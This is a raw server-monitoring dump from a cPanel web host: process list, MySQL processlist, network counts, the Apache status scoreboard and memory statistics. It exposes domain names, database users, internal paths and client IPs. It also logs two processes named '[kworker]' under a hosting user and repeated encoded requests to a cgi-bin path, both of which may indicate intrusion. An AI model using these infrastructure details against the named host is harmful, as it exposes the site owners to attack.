nigeria   51475  0.0  0.2 400460  5532 ?        S    23:30   0:00  \_ php-fpm: pool nigeriadecide_org
named       996  0.0  1.6 1186868 38828 ?       Ssl  09:40   0:28 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
cpanelc+   1013  0.0  0.1  10656  3856 ?        Ss   09:40   0:39 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
systuser   1145  0.0  0.1 157704  2992 ?        S    09:40   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1175  0.0  0.4 412368  9704 ?        Ss   09:40   0:15 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
wp-tool+   1176  0.0  0.1 387528  3464 ?        Ss   09:40   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
root       1234  0.0  0.0 167452  1320 ?        Ss   09:40   0:00 dnsadmin - dormant mode
root       1235  0.0  1.0 262224 24296 ?        Ss   09:40   0:05 cpdavd - accepting connections on: 2091, 2077, 2078
root       1237  0.0  0.4 209500 10392 ?        Ss   09:40   0:05 tailwatchd
root       1669  0.0  0.0 299272   604 ?        Ss   09:40   0:01 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1701  0.0  0.0 130416  1404 ?        SN   09:40   0:00 cpanellogd - sleeping for logs
mysql      1793  1.4 11.2 1465500 272472 ?      Sl   09:40  11:38 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       1959  0.0  0.3 266992  7380 ?        Ss   09:40   0:04 /usr/sbin/httpd -k start
root       1962  0.0  0.0  12804   452 ?        S    09:40   0:05  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1963  0.0  0.0  12732   368 ?        S    09:40   0:05  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1964  0.0  0.0  12844   472 ?        S    09:40   0:05  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1968  0.0  0.0  53340   216 ?        S    09:40   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    11054  0.0  0.8 277760 19532 ?        S    22:43   0:02  \_ /usr/sbin/httpd -k start
nobody    31273  0.1  0.8 277696 20136 ?        S    23:06   0:01  \_ /usr/sbin/httpd -k start
nobody    33964  0.0  0.8 277760 20124 ?        S    23:10   0:00  \_ /usr/sbin/httpd -k start
nobody    34673  0.1  0.8 277892 19464 ?        S    23:10   0:01  \_ /usr/sbin/httpd -k start
cloudw    48621  0.1  0.7 367184 19032 ?        S    23:26   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    34688  0.1  0.7 277760 19212 ?        S    23:10   0:01  \_ /usr/sbin/httpd -k start
nobody    36328  0.0  0.7 277492 18180 ?        S    23:13   0:00  \_ /usr/sbin/httpd -k start
cloudw    46818  0.0  0.7 367184 19144 ?        S    23:24   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    40457  0.0  0.7 277832 19252 ?        S    23:17   0:00  \_ /usr/sbin/httpd -k start
nobody    40469  0.0  0.8 277760 19580 ?        S    23:17   0:00  \_ /usr/sbin/httpd -k start
nobody    40502  0.0  0.7 277892 18812 ?        S    23:17   0:00  \_ /usr/sbin/httpd -k start
cloudw    47572  0.0  0.7 367184 19032 ?        S    23:25   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    40508  0.1  0.8 277760 19924 ?        S    23:17   0:00  \_ /usr/sbin/httpd -k start
cloudw    49837  0.1  0.7 367184 19028 ?        S    23:28   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    40511  0.0  0.7 277760 19204 ?        S    23:17   0:00  \_ /usr/sbin/httpd -k start
nobody    42449  0.0  0.7 277760 18752 ?        S    23:19   0:00  \_ /usr/sbin/httpd -k start
cloudw    50411  0.2  0.7 367184 19028 ?        S    23:28   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    42480  0.0  0.7 277760 18852 ?        S    23:19   0:00  \_ /usr/sbin/httpd -k start
cloudw    51617  0.0  0.6 353712 15976 ?        S    23:30   0:00  |   \_ /opt/cpanel/ea-php72/root/usr/bin/php-cgi
nobody    42483  0.0  0.8 277760 19372 ?        S    23:19   0:00  \_ /usr/sbin/httpd -k start
nobody    43921  0.0  0.7 277892 18824 ?        S    23:21   0:00  \_ /usr/sbin/httpd -k start
nobody    43932  0.1  0.7 277760 19028 ?        S    23:21   0:00  \_ /usr/sbin/httpd -k start
nobody    44604  0.0  0.7 277900 18668 ?        S    23:22   0:00  \_ /usr/sbin/httpd -k start
cloudw    51029  0.6  0.7 367184 19028 ?        S    23:29   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    44831  0.0  0.7 277760 18804 ?        S    23:22   0:00  \_ /usr/sbin/httpd -k start
nobody    45433  0.1  0.7 277760 18696 ?        S    23:23   0:00  \_ /usr/sbin/httpd -k start
cloudw    49499  0.1  0.7 367184 19028 ?        S    23:27   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    45447  0.0  0.7 277760 18936 ?        S    23:23   0:00  \_ /usr/sbin/httpd -k start
cloudw    47315  0.0  0.7 367184 19028 ?        S    23:25   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    45464  0.0  0.7 277892 18792 ?        S    23:23   0:00  \_ /usr/sbin/httpd -k start
cloudw    51335  1.0  0.6 366248 16792 ?        R    23:29   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    45465  0.0  0.7 277764 18888 ?        S    23:23   0:00  \_ /usr/sbin/httpd -k start
nobody    45467  0.0  0.7 277760 19144 ?        S    23:23   0:00  \_ /usr/sbin/httpd -k start
cloudw    48160  0.0  0.7 367184 19032 ?        S    23:26   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    46890  0.1  0.7 277760 19024 ?        S    23:24   0:00  \_ /usr/sbin/httpd -k start
nobody    46903  0.1  0.7 277760 18852 ?        S    23:24   0:00  \_ /usr/sbin/httpd -k start
cloudw    50762  0.3  0.7 367184 19032 ?        S    23:29   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    46930  0.0  0.7 277760 18852 ?        S    23:24   0:00  \_ /usr/sbin/httpd -k start
cloudw    49032  0.1  0.7 367184 19028 ?        S    23:27   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    46931  0.1  0.7 277760 19340 ?        S    23:24   0:00  \_ /usr/sbin/httpd -k start
nobody    47825  0.0  0.7 277324 17092 ?        S    23:25   0:00  \_ /usr/sbin/httpd -k start
cloudw    47840  0.0  0.7 367184 19028 ?        S    23:25   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    47975  0.1  0.7 277760 18828 ?        S    23:25   0:00  \_ /usr/sbin/httpd -k start
nobody    47986  0.0  0.7 277480 17744 ?        S    23:26   0:00  \_ /usr/sbin/httpd -k start
cloudw    48419  0.0  0.7 367184 19032 ?        S    23:26   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    48782  0.0  0.7 277772 17892 ?        S    23:27   0:00  \_ /usr/sbin/httpd -k start
cloudw    49277  0.1  0.7 367184 19028 ?        S    23:27   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    49671  0.1  0.7 277760 18576 ?        S    23:28   0:00  \_ /usr/sbin/httpd -k start
nobody    50126  0.0  0.7 277324 16948 ?        S    23:28   0:00  \_ /usr/sbin/httpd -k start
cloudw    50136  0.2  0.7 367184 19036 ?        S    23:28   0:00  |   \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
nobody    50144  0.2  0.7 277764 18800 ?        S    23:28   0:00  \_ /usr/sbin/httpd -k start
nobody    50145  0.1  0.7 277760 17852 ?        S    23:28   0:00  \_ /usr/sbin/httpd -k start
root       2014  0.0  0.6 187456 14996 ?        Ss   09:40   0:45 lfd - sleeping
oysipao+  18294  0.0  0.0   3148     8 ?        Ss   10:01   0:00 [kworker]
oysipao+  18303  0.0  0.0   3152    36 ?        S    10:01   0:00  \_ [kworker]
root      56404  0.0  1.6 248036 39248 ?        Ss   10:49   0:08 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root      64340  0.0  4.1 266516 99660 ?        S    11:00   0:08  \_ spamd child
root      64341  0.0  1.5 248036 37528 ?        S    11:00   0:00  \_ spamd child
## mysql stats
Uptime: 71485  Threads: 5  Questions: 3890634  Slow queries: 0  Opens: 15477  Flush tables: 1  Open tables: 2000  Queries per second avg: 54.425
*************************** 1. row ***************************
     Id: 59959
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: updating
   Info: UPDATE `currency_rate` SET
`response` = '{\n  \"error\": true,\n  \"status\": 401,\n  \"message\": 
*************************** 2. row ***************************
     Id: 59963
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 3. row ***************************
     Id: 59967
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT * FROM `massmailer` WHERE `other`='' LIMIT 30
*************************** 4. row ***************************
     Id: 59968
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 5. row ***************************
     Id: 59970
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 114.119.133.35 TIME_WAIT
      1 114.119.154.41 TIME_WAIT
      1 142.44.225.211 TIME_WAIT
      1 173.199.190.175 TIME_WAIT
      1 192.178.4.103 TIME_WAIT
      1 192.178.4.104 TIME_WAIT
      1 ::1 TIME_WAIT
      1 68.221.75.24 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
      3 138.197.9.65 TIME_WAIT
      3 23.92.30.137 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Nov 12 2025 18:18:40
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Thursday, 20-Nov-2025 23:30:02 WAT
   Restart Time: Thursday, 20-Nov-2025 03:38:40 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 19 hours 51 minutes 21 seconds
   Server load: 0.17 0.31 0.32
   Total accesses: 259675 - Total Traffic: 6.5 GB - Total Duration: 1393063372
   CPU Usage: u12.36 s9.12 cu3644.84 cs2734.08 - 8.95% CPU load
   3.63 requests/sec - 96.0 kB/second - 26.4 kB/request - 5364.64 ms/request
   28 requests currently being processed, 0 workers gracefully restarting, 7 idle workers

KL_KWLLLWWWK_KR.W_WL_WKLLLKL_.....K......._.K...........K.......
.L.....W.._.....................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc     M CPU   SS  Req   Dur    Conn  Child  Slot      Client      Protocol            VHost                                        Request
   0-0  44831 1/32/8109  K 1.03  3   397 38643886 36.8  0.84  214.45 192.178.4.102   http/1.1 team.cloudware.ng:443       GET /?l=2078372909 HTTP/1.1
   1-0  36328 1/26/8124  L 1.01  312 0   83758368 5.3   0.62  220.12 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383130
   2-0  11054 0/324/8658 _ 10.04 0   264 38885485 0.0   9.54  219.28 192.178.4.102   http/1.1 team.cloudware.ng:443       GET /?l=2139650398 HTTP/1.1
   3-0  46890 1/88/8130  K 2.14  3   344 42285159 35.6  2.43  227.85 192.178.4.98    http/1.1 team.cloudware.ng:443       GET /?l=3760706780 HTTP/1.1
   4-0  42449 0/52/8469  W 1.53  72  0   36702698 0.0   1.37  231.09 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383133
   5-0  48782 1/11/8883  L 0.28  152 0   34591803 5.3   0.29  222.51 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383132
   6-0  45433 1/73/8279  L 2.08  132 0   36308412 5.3   2.17  208.54 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383132
   7-0  47825 1/1/8702   L 0.00  252 0   37660932 5.3   0.01  224.09 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383131
   8-0  42480 1/75/8430  W 2.20  0   0   38843330 35.6  2.08  223.46 192.178.4.96    http/1.1 team.cloudware.ng:443       GET /?l=1877621842 HTTP/1.1
   9-0  46903 0/59/8593  W 1.52  52  0   35624783 0.0   9.40  251.22 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383133
   10-0 47975 0/58/8004  W 1.51  0   0   37818640 0.0   3.00  201.52 ::1             http/1.1 chs1.nescrow.com.ng:80      GET //whm-server-status HTTP/1.0
   11-0 43921 6/50/8092  K 1.54  3   264 37620732 188.9 1.40  187.13 192.178.4.104   http/1.1 team.cloudware.ng:443       GET /?l=486513526 HTTP/1.1
   12-0 42483 0/76/7191  _ 2.20  0   25  41468600 0.0   2.08  173.08 116.203.129.16  http/1.1 cloudsms.com.ng:443         GET /cron/process_queue1.php HTTP/1.1
   13-0 33964 3/154/7018 K 4.53  0   304 39472327 96.3  4.19  171.75 192.178.4.105   http/1.1 team.cloudware.ng:443       GET /?l=2029964217 HTTP/1.1
   14-0 43932 0/112/7240 R 3.09  99  8   39572672 0.0   3.83  191.79 201.80.1.62     http/1.1 nigeriadecide.org:443
   15-0 -     0/0/7920   . 0.00  40  0   31331183 0.0   0.00  201.64 ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   16-0 50126 0/0/7319   W 0.00  92  0   31912114 0.0   0.00  186.00 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383133
   17-0 49671 0/24/7099  _ 0.57  0   0   36850503 0.0   0.62  169.93 ::1             http/1.1 chs1.nescrow.com.ng:80      GET //whm-server-status HTTP/1.0
   18-0 44604 0/31/7513  W 0.90  32  0   33580631 0.0   0.81  172.39 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383133
   19-0 45447 1/27/6920  L 0.62  292 0   33071298 5.3   0.66  174.13 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383131
   20-0 50144 0/38/6934  _ 1.00  0   0   38234326 0.0   1.07  188.48 127.0.0.1       http/1.1 chs1.nescrow.com.ng:80      GET /whm-server-status HTTP/1.0
   21-0 45464 0/12/6021  W 0.53  12  0   31701081 0.0   0.33  147.08 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383133
   22-0 45465 1/21/5865  K 0.67  2   300 33191651 36.1  0.52  172.20 192.178.4.99    http/1.1 team.cloudware.ng:443       GET /?l=3907386879 HTTP/1.1
   23-0 47986 1/8/5515   L 0.18  212 0   32746754 5.3   0.20  133.69 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383131
   24-0 46930 1/36/5492  L 0.79  172 0   32923262 5.3   0.86  143.14 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383132
   25-0 34673 1/184/5946 L 5.30  192 0   28537304 5.3   12.95 152.82 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383132
   26-0 46931 3/74/4619  K 2.05  0   298 28576385 98.4  2.82  130.04 192.178.4.97    http/1.1 team.cloudware.ng:443       GET /?l=2024660528 HTTP/1.1
   27-0 45467 1/38/5343  L 1.04  232 0   32060306 5.3   1.11  133.99 173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383131
   28-0 50145 0/24/4966  _ 0.70  0   25  30497235 0.0   0.73  117.81 128.140.8.200   http/1.1 cloudsms.com.ng:443         GET /cron/process_queue3.php HTTP/1.1
   29-0 -     0/0/5195   . 0.00  707 0   26851131 0.0   0.00  121.62 ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   30-0 -     0/0/4453   . 0.00  709 0   21400494 0.0   0.00  105.92 ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   31-0 -     0/0/4184   . 0.00  713 0   25614010 0.0   0.00  111.59 ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   32-0 -     0/0/3964   . 0.00  728 0   23842613 0.0   0.00  117.43 ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   33-0 -     0/0/3551   . 0.00  593 0   25546908 0.0   0.00  97.48  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   34-0 34688 1/215/2976 K 6.09  1   305 23351806 36.0  6.13  85.31  192.178.4.101   http/1.1 team.cloudware.ng:443       GET /?l=749031073 HTTP/1.1
   35-0 -     0/0/2314   . 0.00  233 0   19072610 0.0   0.00  57.46  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   36-0 -     0/0/3613   . 0.00  727 4   19925509 0.0   0.00  95.07  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   37-0 -     0/0/3995   . 0.00  685 0   25060523 0.0   0.00  94.81  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   38-0 -     0/0/2408   . 0.00  230 0   19697867 0.0   0.00  55.99  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   39-0 -     0/0/2184   . 0.00  592 0   12658481 0.0   0.00  54.34  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   40-0 -     0/0/1824   . 0.00  596 0   15015404 0.0   0.00  50.06  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   41-0 -     0/0/1301   . 0.00  699 0   9740482  0.0   0.00  35.88  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   42-0 31273 0/273/1354 _ 7.60  0   297 6055107  0.0   9.14  39.09  192.178.4.103   http/1.1 team.cloudware.ng:443       GET /?l=880836537 HTTP/1.1
   43-0 -     0/0/496    . 0.00  724 0   2883990  0.0   0.00  10.88  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   44-0 40457 5/111/1423 K 2.96  2   297 10986702 156.0 2.97  35.22  192.178.4.99    http/1.1 team.cloudware.ng:443       GET /?l=1199442893 HTTP/1.1
   45-0 -     0/0/623    . 0.00  700 0   2870919  0.0   0.00  14.23  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   46-0 -     0/0/525    . 0.00  561 0   4800064  0.0   0.00  14.20  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   47-0 -     0/0/436    . 0.00  670 0   2976857  0.0   0.00  11.33  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   48-0 -     0/0/190    . 0.00  710 0   2016618  0.0   0.00  4.26   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   49-0 -     0/0/1057   . 0.00  98  0   8869744  0.0   0.00  26.26  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   50-0 -     0/0/92     . 0.00  721 0   682457   0.0   0.00  2.92   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   51-0 -     0/0/42     . 0.00  321 0   657298   0.0   0.00  0.89   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   52-0 -     0/0/213    . 0.00  231 0   2010314  0.0   0.00  4.65   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   53-0 -     0/0/126    . 0.00  247 0   71558    0.0   0.00  3.70   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   54-0 -     0/0/49     . 0.00  536 0   24271    0.0   0.00  1.28   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   55-0 -     0/0/6      . 0.00  598 0   2348     0.0   0.00  0.10   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   56-0 40469 1/109/113  K 3.29  1   270 699956   33.8  3.02  3.03   192.178.4.105   http/1.1 team.cloudware.ng:443       GET /?l=1850491161 HTTP/1.1
   57-0 -     0/0/39     . 0.00  580 0   20141    0.0   0.00  0.95   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   58-0 -     0/0/20     . 0.00  579 0   10288    0.0   0.00  0.46   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   59-0 -     0/0/99     . 0.00  712 0   17181    0.0   0.00  0.85   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   60-0 -     0/0/207    . 0.00  695 0   730796   0.0   0.00  4.30   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   61-0 -     0/0/20     . 0.00  701 0   10448    0.0   0.00  0.49   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   62-0 -     0/0/5      . 0.00  732 0   1060     0.0   0.00  0.01   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   63-0 -     0/0/352    . 0.00  498 0   777075   0.0   0.00  6.78   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   64-0 -     0/0/262    . 0.00  499 0   788661   0.0   0.00  10.85  ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   65-0 40502 1/43/244   L 1.35  272 0   2030875  5.3   1.22  5.47   173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383131
   66-0 -     0/0/1      . 0.00  609 0   0        0.0   0.00  0.00   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   67-0 -     0/0/59     . 0.00  382 0   31840    0.0   0.00  1.54   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   68-0 -     0/0/3      . 0.00  718 0   59       0.0   0.00  0.03   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   69-0 -     0/0/4      . 0.00  714 0   65       0.0   0.00  0.02   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   70-0 -     0/0/1      . 0.00  608 0   0        0.0   0.00  0.00   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   71-0 40508 0/132/132  W 3.46  112 0   75689    0.0   7.51  7.51   173.199.190.174 http/1.1 schoolplus.cloudware.ng:443 GET /cgi-bin/cgi-bin/index.php?ARRAY=7o2230223n3137363336383132
   72-0 -     0/0/3      . 0.00  717 0   54       0.0   0.00  0.03   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   73-0 -     0/0/1      . 0.00  610 0   0        0.0   0.00  0.00   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   74-0 40511 0/106/106  _ 3.06  0   25  701571   0.0   16.61 16.61  116.203.129.16  http/1.1 cloudsms.com.ng:443         GET /cron/process_queue5.php HTTP/1.1
   75-0 -     0/0/16     . 0.00  562 0   9632     0.0   0.00  0.44   ::1             http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 1171
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 6 seconds, (range: 0...15)
   index usage: 20%, cache usage: 27%
   total entries stored since starting: 167799
   total entries replaced since starting: 0
   total entries expired since starting: 166575
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 25 hit, 336 miss
   total removes since starting: 53 hit, 335 miss
 ## swap threshold exceeded
## server overview
2025-11-20.23.30 load[0] mem[61/61] mysql[4/10] httpd[14]
              total        used        free      shared  buff/cache   available
Mem:           2363        1414          81          80         868         704
Swap:          1999        1316         683
 23:30:02 up  4:40,  0 users,  load average: 0.55, 0.26, 0.24
## system overview
top - 23:30:02 up  4:40,  0 users,  load average: 0.55, 0.26, 0.24
Tasks: 206 total,   4 running, 200 sleeping,   0 stopped,   2 zombie
%Cpu(s): 85.3 us, 14.7 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,    87396 free,  1443828 used,   889076 buff/cache
KiB Swap:  2047996 total,   699644 free,  1348352 used.   726036 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  2435 mysql     20   0 1462004 254908   3228 S 100.0 10.5   3:36.30 /usr/sbin+
 17548 healtho+  20   0  461148  68748   4008 R  29.4  2.8   0:00.58 php-fpm: +
 17670 nigeria   20   0  404052  16144  10384 S  11.8  0.7   0:00.05 /opt/cpan+
     1 root      20   0   44396   3452   1592 S   5.9  0.1   0:24.10 /usr/lib/+
 12686 nobody    20   0  277832  19552   4280 R   5.9  0.8   0:00.55 /usr/sbin+
 14656 nobody    20   0  277920  19308   4028 S   5.9  0.8   0:00.43 /usr/sbin+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:00.99 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.84 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 R   0.0  0.0   0:16.68 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.04 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.03 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.81 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:02.93 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
